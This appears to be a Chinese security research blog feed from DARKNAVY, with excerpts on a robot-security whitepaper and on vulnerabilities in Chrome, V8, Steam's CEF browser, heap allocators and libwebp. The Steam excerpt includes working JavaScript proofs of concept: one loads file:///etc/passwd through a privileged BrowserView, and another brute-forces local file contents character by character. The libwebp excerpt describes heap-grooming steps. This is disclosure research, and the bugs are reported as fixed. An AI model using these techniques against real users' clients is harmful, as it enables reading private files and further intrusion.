博客 on DARKNAVY

DARKNAVY 联合发布首篇具身智能机器人安全技术白皮书

Mon, 20 Apr 2026 12:07:45 +0800

随着具身智能进入现实世界，AI智能体获得了物理实体与自主执行能力。与此同时，数字领域的安全缺陷，正开始跨越虚实边界，转化为可作用于现实环境的物理风险。

在 DARKNAVY 以攻击者视角开展的模拟测试中，多台市面在售的知名品牌具身智能机器人，从获取设备、识别漏洞到实现完全控制，整体攻击周期不足8小时。这一数据表明，当前具身智能能力快速演进的同时，安全体系建设仍明显滞后。

基于长期攻防研究与实证分析，DARKNAVY 联合 CIIPA 关键信息基础设施安全保护联盟、数说安全正式发布 《具身智能安全技术白皮书：机器人篇》。

作为具身智能系列安全白皮书的首篇，本白皮书围绕机器人场景，首次对具身智能系统的攻击面、风险传导链路与评估框架进行了系统性梳理。

一、具身智能机器人的安全问题，当前处于什么阶段？

相较于传统智能终端，具身智能系统的攻击面更广，风险传播路径也更为复杂。然而，根据白皮书对当前国内主流产品的调研结果，其安全能力尚未达到早期智能终端与物联网设备的基础防护水位。行业已经开始形成安全意识，但系统化能力建设仍处于起步阶段。

二、从感知到执行，具身智能机器人的攻击面分布在哪里？

具身智能系统具备感知-决策-执行的闭环特征。白皮书对其典型关键架构进行了系统性拆解，从而帮助还原真实攻击路径，分析威胁如何突破控制平面、干扰感知输入、影响决策过程，并最终作用于底层执行单元

三、当数字风险可能演化为物理后果，应当如何建立有效的风险评估与治理框架？

针对日益突出的物理现实风险，白皮书第三章首次提出具身智能机器人风险评估的基础参考框架，并正式发布《RoboSec Top 10 ：具身智能机器人十大关键风险清单》，覆盖端侧内部权限、云端控制平面、感知与决策层欺骗、AI 资产完整性等关键环节，为行业建立风险评估框架与安全基线提供参考。

当具身智能系统的能力从信息处理延伸至物理执行，安全治理的对象与边界也随之改变。数字世界中的单点缺陷，可能沿着跨层级、跨组件的链路被持续放大，最终演化为现实场景中的失控后果。也正因此，具身智能机器人的安全能力应前置到系统架构设计阶段，成为与感知、决策、执行同等重要的基础能力。

本白皮书希望通过对关键风险、攻击路径与防护重点的系统梳理，为行业开展风险识别、能力建设与体系化防护提供参考。

《具身智能安全技术白皮书：机器人篇》现已正式发布，点击链接即可下载。

以子之矛陷子之盾 · 用AI对AI漏洞的利用探索

Thu, 31 Oct 2024 17:32:23 +0800

2024年9月24日，OpenAI的CEO Sam Altman发表文章《The Intelligence Age》，大胆地宣告了AI时代的到来。

给予文章强有力支撑的是ChatGPT-o1的发布，这是一次里程碑式的事件，在深度学习的加成下，大模型如虎添翼，表现强劲。

身处时代浪潮之中，DARKNAVY也积极拥抱AI，探索AI和安全的关系。AI能否在发现和利用漏洞时，再现人类的方法论？AI会不会带来新的安全问题？

楚人有鬻盾与矛者，誉之曰：“吾盾之坚，物莫能陷之。”以誉其矛曰：“吾矛之利，于物无不陷也。”或曰：“以子之矛陷子之盾，何如？”其人弗能应也。夫不可陷之盾与无不陷之矛，不可同世而立。

吾盾之坚，物莫能陷

AI时代下，各大厂商纷纷推出了全新的AI产品、大模型，而对现存的产品，在迭代更新中，不少也加入了AI powered功能。AI已逐渐在无形之中成为了产品安全的一部分。新的代码也意味着新的攻击面，对于AI类的功能，更为特殊。

新增的代码仍受到传统攻击手法的威胁，从审计的角度来看，AI代码除了功能的不同，本质上还是代码中的一个子模块，内存溢出、越界等内存破坏漏洞皆有可能存在。而除了传统的代码攻击面外，还存在着特定于AI类别的攻击面，例如模型越狱、对抗样本攻击等等。

带着这样的思考，DARKNAVY的研究员将目光瞄准了Chrome的新增功能——AI Manager模块上。此模块是Google于今年新推出的，主要用于帮助用户更快捷地写作。

此模块的架构和传统的Chrome模块大同小异，模块的主服务AIManagerKeyedService继承自基类KeyedService。关于这个类的生命周期，在类的声明处有注释说明：

// The browser-side implementation of `blink::mojom::AIManager`. There should
// be one shared AIManagerKeyedService per BrowserContext.

当renderer试图获取此接口时，会调用到此函数

void AIManagerKeyedService::AddReceiver(
    mojo::PendingReceiver<blink::mojom::AIManager> receiver,
    AIContextBoundObjectSet::ReceiverContext context) {
  receivers_.Add(this, std::move(receiver), context);
}

其中context的类型定义为：

  using ReceiverContext =
      std::variant<content::RenderFrameHost*, base::SupportsUserData*>;

也就是说，AIManager服务中保存的context实际是来自frame的RenderFrameHost对象，而此服务的生命周期和frame的生命周期并无关系。熟悉浏览器沙箱的朋友读至此，应该已经意识到了问题。若攻击者在子frame中先绑定AIManager接口，将此接口传递出去，再销毁子frame，那么此时对应接口的RenderFrameHost已经被free，外部使用接口的功能将触发RenderFrameHost的UAF。

值得一提的是，此漏洞还是难得的不被MiraclePtr所保护的UAF漏洞:

MiraclePtr Status: NOT PROTECTED

DARKNAVY发现此问题后，意识到漏洞危害极高，迅速报告并协助了Google进行修复。Google于10月15日发布新版本修复了此漏洞。

吾矛之利，物无不陷

发现漏洞后，思路自然地转向了研究此漏洞的可利用性。正如前文所述，AI能否在此研究过程中给予人类有力的援助？AI之于安全研究员，是一把趁手的武器，还是一堆废铜烂铁？

在今年GeekCon 2024新加坡站的舞台上，有多个有关此话题的安全研究亮相。

来自清华的张超教授，展示了他们团队将大模型应用于二进制分析领域的成果，成功地应用于二进制代码相似性检测、patch补丁检测等场景；

CVE-2024-5274: A Minor Flaw in V8 Parser Leading to Catastrophes

Fri, 30 Aug 2024 10:09:29 +0800

在今年5月，我们注意到Chrome在一次更新中修复了一个被在野利用的V8漏洞，我们迅速定位了这个漏洞的修复，发现他是近些年来罕见的Parser模块的漏洞，这引起了我们很大的兴趣，于是有了以下的研究。

从patch到PoC

首先我们看一下此漏洞的patch：

diff --git a/src/ast/scopes.cc b/src/ast/scopes.cc
index 660fdd2e9ad..de4df35c0ad 100644
--- a/src/ast/scopes.cc
+++ b/src/ast/scopes.cc
@@ -2447,7 +2447,7 @@ bool Scope::MustAllocate(Variable* var) {
     var->set_is_used();
     if (inner_scope_calls_eval_ && !var->is_this()) var->SetMaybeAssigned();
   }
-  DCHECK(!var->has_forced_context_allocation() || var->is_used());
+  CHECK(!var->has_forced_context_allocation() || var->is_used());
   // Global variables do not need to be allocated.
   return !var->IsGlobalObjectProperty() && var->is_used();
 }
diff --git a/src/parsing/parser-base.h b/src/parsing/parser-base.h
index 40914d39a4f..65c338f343f 100644
--- a/src/parsing/parser-base.h
+++ b/src/parsing/parser-base.h
@@ -2661,6 +2661,7 @@ typename ParserBase<Impl>::BlockT ParserBase<Impl>::ParseClassStaticBlock(
   }

   FunctionState initializer_state(&function_state_, &scope_, initializer_scope);
+  FunctionParsingScope body_parsing_scope(impl());
   AcceptINScope accept_in(this, true);

   // Each static block has its own var and lexical scope, so make a new var

patch十分简单，实际真正有效的修复代码仅有一行，在解析class的static initialization block时新增了一个类型为FunctionParsingScope的变量，我们再看一下这个新增的变量做了什么：

Steam漏洞利用：CEF框架应用下的常规与非常规利用手段

Thu, 27 Jun 2024 11:39:37 +0800

前言

Chromium Embedded Framework(CEF)是一个开源框架，开发者可以将Chromium引擎嵌入至他们的应用程序中。尽管CEF被广泛应用于诸如微信和Epic Games Launcher等流行软件中，但对其安全性的研究却甚少。在本文中，我们将以Steam客户端浏览器（一款基于CEF的应用程序）为例，介绍我们发现的漏洞及其利用方式，展示我们如何构建了三个远程代码执行（RCE）链。

RCE#1：`steamwebhelper`中多个问题导致RCE

steamwebhelper是Steam客户端内置的浏览器，用于渲染商店、社区、好友等页面。其基于CEF开发，并在CEF的基础上添加了一些功能。我们在这些额外的功能中找到了一系列逻辑漏洞以及特性导致的问题，最终完成了RCE。

在外部页面中获取`SteamClient`对象

steamwebhelper在加载一些特定的页面，例如steampowered.com 、 steamloopback.host等页面时，会在JavaScript运行环境中加入一个特权对象SteamClient。对该过程进行逆向后，我们发现，对有域名的url，steamwebhelper会调用BIsTrustedDomain检查其域名是否在白名单中，而对于没有域名的url，会检查其是否为data或about协议。

在外部页面中打开白名单中的域名会被同源策略限制，然而打开about:blank等页面并不会，因此我们可以在自己可控的页面中打开"about:blank"，获取并使用其SteamClient。

PoC:

ab_page = open("about:blank");
s_client = ab_page.SteamClient;
alert(s_client);

使用`BrowserView`加载file协议

SteamClient是steam中内部页面所使用的特权对象，它有很多特权功能，如操作当前的Browser对象、操作窗口位置、下载任意文件等。

通过SteamClient.BrowserView，我们可以创建并管理BrowserView。经过测试发现，BrowserView是一个嵌入在原始网页中的子页面，类似于普通web页面中的一个iframe，但与此对象的交互都是由Steam自身实现。

在测试BrowserView的功能时，我们发现BrowserView.LoadURL调用不会受到任何安全策略的限制，可以加载任意协议任意域名的url，包括chrome://、file://等权限较高的协议。

PoC:

b_view = s_client.BrowserView.Create();
b_view.LoadURL("file:///etc/passwd");
b_view.SetBounds(0, 0, 1000, 1000);
b_view.SetVisible(true);

获取`BrowserView`中加载的页面内容，实现任意文件读

至此我们已可以通过LoadURL加载到本地的任意文件，但是还没有办法直接读取到页面内容。通过测试逆向BrowserView对象，发现其提供了FindInPage功能可以在页面中搜索特定字符串，并且通过调用BrowserView.on("find-in-page-results", callback)可以注册一个回调函数来处理搜索的结果。那么问题变成了：如果可以在页面内搜索一个可控字符串并获取到搜索结果，能否获取到页面的内容？（听起来像是一道CTF题目）

答案是肯定的，最终通过逐字节爆破搜索，我们可以做到任意文件读的效果。

PoC（通过读file:///home/获取用户名）:

async function is_str_in_bv(bv, s, count) {
  window.stage = 0;
  bv.FindInPage(s, true, true);
  while (window.stage < 3) { await sleep(10); }
  return window.count > count;
}

b_view.on("find-in-page-results", (a, b) => {
  if (window.stage == 0) {
    if (a == 0 && b == 0) { window.stage = 3; window.count = 0; }
    else window.stage++;
  }
  else if (window.stage++ == 2) window.count = a;
});
baseuser = "/";
charset = "abcdefghijklmnopqrstuvwxyz";
while (true) {
  found = false;
  for (c of charset) {
    teststr = c + baseuser;
    count = 0;
    if ("home/".endsWith(teststr)) count = 1;
    if (await is_str_in_bv(b_view, teststr, count)) {
      found = true;
      break;
    };
  }
  if (!found) break;
  baseuser = teststr;
}
alert(baseuser);

从任意文件读到任意文件创建

在这篇漏洞报告中提到了，通过steam://devkit-1中的list-shortcuts等功能可以做到任意文件创建（文件内容不可控），而这个漏洞的修复方式是在~/.steam/steam.token文件中随机生成一个字符串，在使用steam://devkit-1相关功能时，会验证token是否正确。事实上此方式并未对此功能逻辑上的缺陷进行修复，若攻击者可以读取到token，则可以轻易bypass此修复。

填补盾牌的裂缝：堆分配器中的MTE

Wed, 03 Jan 2024 16:14:27 +0800

前言

2018年，随着ARMv8.5-A的发布，一个全新的芯片安全特性MTE(Memory Tagging Extensions) 横空出世。时隔五年后的2023年，市场上第一款支持此特性的手机发布 —— Google Pixel 8，宣告着MTE正式走入了消费者群体。虽然该特性在手机上还未默认启用，但开发者可以自行开启体验。

MTE作为一个强大的内存破坏防御手段，对于它的防御边界、防御能力，和它对性能的影响，目前网上还未有对其全面的分析。此前，Google Project Zero发表了一系列关于MTE的文章，其聚焦于较为底层的MTE安全性。然而MTE对于真实的软件安全性究竟有多大的影响仍是个未解之谜。想要讨论这个话题，各大堆分配器是一个很好的切入点。堆上的内存破坏问题已经逐渐成为二进制漏洞中的主流类型，参考MSRC于CppCon2019的议题内容：

通常普通开发者并不会直接使用MTE相关的汇编指令，而是依靠堆分配器自带的MTE支持间接使用，堆分配器就像盾牌一样，扛起了保护软件的任务。MTE提供了细颗粒管控内存的基础支持，如何基于硬件MTE能力实现高级安全功能的重任，留给了软件开发者。开源社区主流堆分配器积极响应，实现了基于MTE特性的安全增强，提高了堆空间的内存安全性。

本文将以MTE的三个主要玩家：Chrome中的PartitionAlloc、Glibc中的Ptmalloc、Android中的Scudo为目标，对其中MTE相关的实现分别进行讨论，并对它们进行对比。我们在研究中发现了PartitionAlloc中实现的问题，并将此问题报告给了Google，得到了Chrome团队的确认。

MTE概述

已了解MTE原理的读者可跳过此章节。

MTE利用ARMv8的TBI (Top-Byte Ignore) 特性，使用指针的高4 bits存储tag，在每个进程中有一段专用的内存用于存储tag。当为内存指定了某个tag后，程序必须带上正确的tag访问内存，若tag错误，程序抛出错误信号SIGSEGV，如下图所示：

指令集提供了系列指令来操作tag，此处举例说明MTE的基本用法：

; x0 is a pointer
irg  x1, x0
stg  x1, [x1]
ldr  x0, [x1]

IRG (Insert Random Tag) 指令为指针x0生成一个随机tag，将结果保存至x1中。
STG (Store Allocation Tag) 指令将tag应用至内存中，生效的长度取决于颗粒度，一般为16字节。
LDR (Load Register) 使用带有tag的指针读取内存。

可以看到指令集中提供了底层的支持，但各个指令的使用有很大的自由度，MTE具体如何使用，很大程度上仍然取决于软件开发者。

Allocator

Chrome - PartitionAlloc

分配

PartitionAlloc中的分配可以大致分为三种情况：

从ThreadCache中分配，不变动tag直接返回。
从空闲的SlotSpan中分配，不变动tag直接返回。
若以上两种情况均不满足，分配一个新的SlotSpan，对其中所有空闲的堆块打上随机的tag

    if (PA_LIKELY(use_tagging)) {
      // Ensure the MTE-tag of the memory pointed by other provisioned slot is
      // unguessable. They will be returned to the app as is, and the MTE-tag
      // will only change upon calling Free().
      next_slot_ptr =
          TagMemoryRangeRandomly(next_slot, TagSizeForSlot(root, slot_size));

释放

将堆块的tag加一。

Exploiting the libwebp Vulnerability, Part 2: Diving into Chrome Blink

Fri, 03 Nov 2023 14:10:29 +0800

前言

当我们把这样一个在三方库中的漏洞放到真实的环境中再看时，会发现漏洞所处的环境往往有很多复杂的变量，想要利用这个漏洞并非想象般那么容易。

我们所已知的信息有：

我们溢出的变量huffman_tables，大小为0x2f28
该堆块在renderer的ThreadPool中分配，而大多数对象在主线程中分配
我们可以以8字节倍数的offset，写入一个部分可控的4字节int

Chrome中不同大小的堆块被存储在不同的bucket当中，不同大小的对象因为这个机制被安全地隔离开。通常来说，在chrome中的堆利用需要找到同样大小的对象进行布局，再通过UAF或是OOB篡改其他的对象，从而造成信息泄露或者控制流劫持。接下来我们会分享我们所发现的对象，同时试图去绕过这个机制。

信息泄露

寻找对象

我们首先想要寻找的是一个合适的对象能够被OOB所改写，由于我们的越界写并不能很好地控制值，所以写指针基本被排除，最好的情况是能够改掉类似length这样的字段，对于值没有精确的要求，但是能够引发进一步更好利用的内存问题。

HuffmanCode在libwebp中是用malloc分配的，在chrome中实际是被PartitionAlloc最终接管分配。在renderer中一共有四个partition，LayoutObject partition, Buffer partition, ArrayBuffer partition, FastMalloc partition。FastMalloc实际上最终调用的就是malloc，因此我们想要找的对象可以用FastMalloc来分配。

我们首先用了Man Yue Mo在博客中提到的codeql查询，由于溢出在0x3000的bucket当中，可以选择的对象大小范围为0x2800 - 0x3000。但非常遗憾的是，查询结果为空，这个size下的对象几乎完全不存在。另一个思路是用溢出对象本身，但是这个对象被改掉后不会产生特别的破坏效果，libwebp中也没有其他好的候选对象。到了这里似乎令人觉得有些绝望，利用的第一步就被卡住了。

那么我们还有什么思路呢，一个想法是使用可变长的对象，如Man Yue Mo提到过的AudioArray，但是这个对象是纯数据，被改掉也没有用。查看所有FastMalloc的调用，最终我们发现了这个对象

class CORE_EXPORT CSSVariableData : public RefCounted<CSSVariableData> {
  USING_FAST_MALLOC(CSSVariableData);

此对象的大小为动态的

    wtf_size_t bytes_needed =
        sizeof(CSSVariableData) + (original_text.Is8Bit()
                                       ? original_text.length()
                                       : 2 * original_text.length());
    // ... snip ...
    void* buf = WTF::Partitions::FastMalloc(
        bytes_needed, WTF::GetStringWithTypeName<CSSVariableData>());

该对象代表了CSS中的变量，可以通过以下方式来定义

element {
  foo: var(--my-var, bar);
}

blink会根据CSS变量的内容动态分配CSSVariableData的内存。还有一个好消息是，JavaScript中也可以便捷地操作CSS变量。

// add a CSS variable
element.style.setProperty('foo', 'bar');
// remove a CSS variable
element.style.removeProperty('foo');
// get the value of a CSS variable
getComputedStyle(element).getPropertyValue('foo');

Cross-Thread堆占位

我们可以控制CSSVariableData的大小，使其分配至与HuffmanCode同样大小的bucket中。一个自然而然的计划是，分配一堆CSSVariableData，然后free其中一个，再用HuffmanCode占位，如下图所示。

然而设想很美好，实际上PartitionAlloc中使用了ThreadCache，对象的分配和释放都会优先在ThreadCache中进行。由于两个对象不在同一个线程中分配，我们需要想办法将CSSVariableData从ThreadCache中移出。阅读ThreadCache的源码，我们找到了一个途径

Exploiting the libwebp Vulnerability, Part 1: Playing with Huffman Code

Fri, 03 Nov 2023 14:10:24 +0800

漏洞定位

在初始的漏洞分析阶段，由于缺少现成的PoC或详细分析报告，我们首先尝试阅读并理解webmproject/libwebp上游仓库针对CVE-2023-4863的修复代码。然而，WebM Project官方的修补过程相对复杂，这使得我们难以精确地锁定漏洞的原始触发点。

于是，我们将目光转向了Apple对CVE-2023-41064的官方补丁，并使用BinDiff对更新前后的ImageIO组件进行了对比。我们注意到Apple的补丁代码变更相对较少，易于理解，并且非常“简单粗暴”:

简而言之，Apple的修复方案是在WebP解码器中增加了一项检查：如果在构建霍夫曼编码表 (Huffman Table) 时越界，就会直接返回错误，而不是继续解码。

diff --git a/src/dec/vp8l_dec.c b/src/dec/vp8l_dec.c
index 45012162..06b142bc 100644
--- a/src/dec/vp8l_dec.c
+++ b/src/dec/vp8l_dec.c
@@ -438,6 +438,7 @@ static int ReadHuffmanCodes(VP8LDecoder* const dec, int xsize, int ysize,
     goto Error;
   }

+  bound = &huffman_tables[num_htree_groups * table_size];
   huffman_table = huffman_tables;
   for (i = 0; i < num_htree_groups_max; ++i) {
     // If the index "i" is unused in the Huffman image, just make sure the
diff --git a/src/utils/huffman_utils.c b/src/utils/huffman_utils.c
index 90c2fbf7..13054715 100644
--- a/src/utils/huffman_utils.c
+++ b/src/utils/huffman_utils.c
@@ -191,6 +191,7 @@ static int BuildHuffmanTable(HuffmanCode* const root_table, int root_bits,
         }
         code.bits = (uint8_t)(len - root_bits);
         code.value = (uint16_t)sorted[symbol++];
+        if (bound && &table[key >> root_bits + table_size] >= bound) return 0;
         ReplicateValue(&table[key >> root_bits], step, table_size, code);
         key = GetNextKey(key, len);
       }

因此，漏洞很可能是由于在构建Huffman Table时，没有对输入的数据进行有效性检查，从而导致分配给表的内存区域被溢写，即出现了缓冲区溢出。